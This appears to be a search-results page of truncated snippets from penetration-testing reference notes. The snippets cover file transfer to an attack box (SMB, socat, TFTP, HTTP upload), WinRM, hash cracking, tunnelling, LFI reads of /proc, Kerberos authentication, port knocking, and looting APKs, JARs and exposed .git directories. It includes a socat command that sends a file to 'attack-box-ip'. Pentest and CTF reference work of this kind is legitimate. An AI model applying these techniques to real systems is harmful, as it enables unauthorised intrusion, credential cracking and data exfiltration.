Search Results

SMB Server on Attack Box For this, we can use Impacket's smbserver.py script to run an ad-hoc SMB server. There are two required arguments: Share Name Share Path You can also configure the SMB server with: Username + Password authentication NTLM ha...

Cleartext File Transfer Listener on Attack Box # Start a listener on the attack box and create a file when received socat TCP4-LISTEN:<port>,fork file:/tmp/got-the-file,create # Connect and transfer the file to your attack box socat TCP4:attack-box-ip:<port> f...

If the target has a TFTP client installed, Metasploit has a TFTP server you can run ad-hoc on your attack box to transfer files https://www.rapid7.com/db/modules/auxiliary/server/tftp/ Attack Box Side # Start Metasploit Framework sudo msfconsole # Start ...

HTTP POST (Upload to Attack Box) Server Side (Attack Box) Python Server Python HTTP Upload Server Source Code (Show / Hide) #!/usr/bin/env python3 import os import argparse from http.server import HTTPServer, BaseHTTPRequestHandler class SimpleUploadHandler...

WinRM runs on TCP port 5985 for unencrypted sessions and 5986 for encrypted sessions. # Open a PSSession on the target host $computerName = 'computer_name_here' # Kerberos requires a FQDN, NTLM uses IP address $credential = Get-Credential # Username and pas...

Project Github https://github.com/hashcat/maskprocessor Example Usage You have a base password / phrase with dynamic alphanumeric / symbolic suffix A password / phrase is a pre-determined length, and you need to generate a dynamic word list from a spec...

Example Hash Hash is from a recent CTF and therefore, there are no concerns with making it public pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 Formatting for Hashcat Hashcat Requirements Show Example H...

Project GitHub https://github.com/nicocha30/ligolo-ng Download Binaries https://github.com/nicocha30/ligolo-ng/releases Proxy Requires user to create a tun interface Traffic flows through tun interface, like a VPN ⚠️Requires root access on the host, in orde...

Context I created this page for some quick reference commands to check network configurations and states on a host where certain tools such as ip, ifconfig, netstat, ss, arp, route, etc are not available on the target; as tends to be the case in containerized...

Current User Example would be if you have LFI or some other means to read from the local file system, this would tell you who the process is running as, allowing you to determine if you can read sensitive files # Reading /proc/self/status curl -s 'http://lo...

Problem evil-winrm works great in a pinch, but is often very buggy, so I've documented some workarounds that may be worth exploring. Solutions evil-winrm-py Project GitHub: https://github.com/adityatelange/evil-winrm-py sudo apt install gcc python3-dev ...

Hash Format Details john --list=format-all-details --format=PBKDF2-HMAC-SHA256 Example ciphertext $pbkdf2-sha256$1000$b1dWS2dab3dKQWhPSUg3cg$UY9j5wlyxtsJqhDKTqua8Q3fMp0ojc2pOnErzr8ntLE ^ ^ ^...

Install Kerberos Client Packages Upon installing, you will see an interactive prompt for information. The answers you provide populate the /etc/krb5.conf file. Production Environments Answer the prompts with the FQDN of the KDC and according to your needs Te...

NetExec nxc smb DC01.domain.tld -d 'domain.tld' -u 'username' -p 'P@$$word123!' -k Use a username and password with the  -k flag to authenticate using Kerberos KRB5CCNAME='/tmp/john.doe.ccache' nxc smb DC01.domain.tld -d 'domain.tld' -u 'username' -k --use-kca...

Challenge During target enumeration, you find information that suggests if you port knock the sequence TCP/1000, TCP/2000, TCP/3000, this will open some firewalled ports on the box Solution hping3 # -n : numeric output # -c 1 : 1 packet # -i 1 : wait 1 s...

APKTool sudo apt install -y apktool apktool d -o decompiled_apk file.apk A good place to start looking for information is in ./decompiled_apk/res/values/strings.xml grep -ilar passw decompiled_apk Recursively search for passw in the output directory; coul...

JAR File Analysis sudo apt install -y jd-gui jadx jd-gui cloudhosting-0.0.1.jar Example: application.properties contains some sensitive data

Python environments are externally managed by apt on Kali Linux, so use pipx or a virtual environment to leave the default environment untouched while working with the git-dumper tool pipx install git-dumper git-dumper http://domain.tld/.git git_loot Output...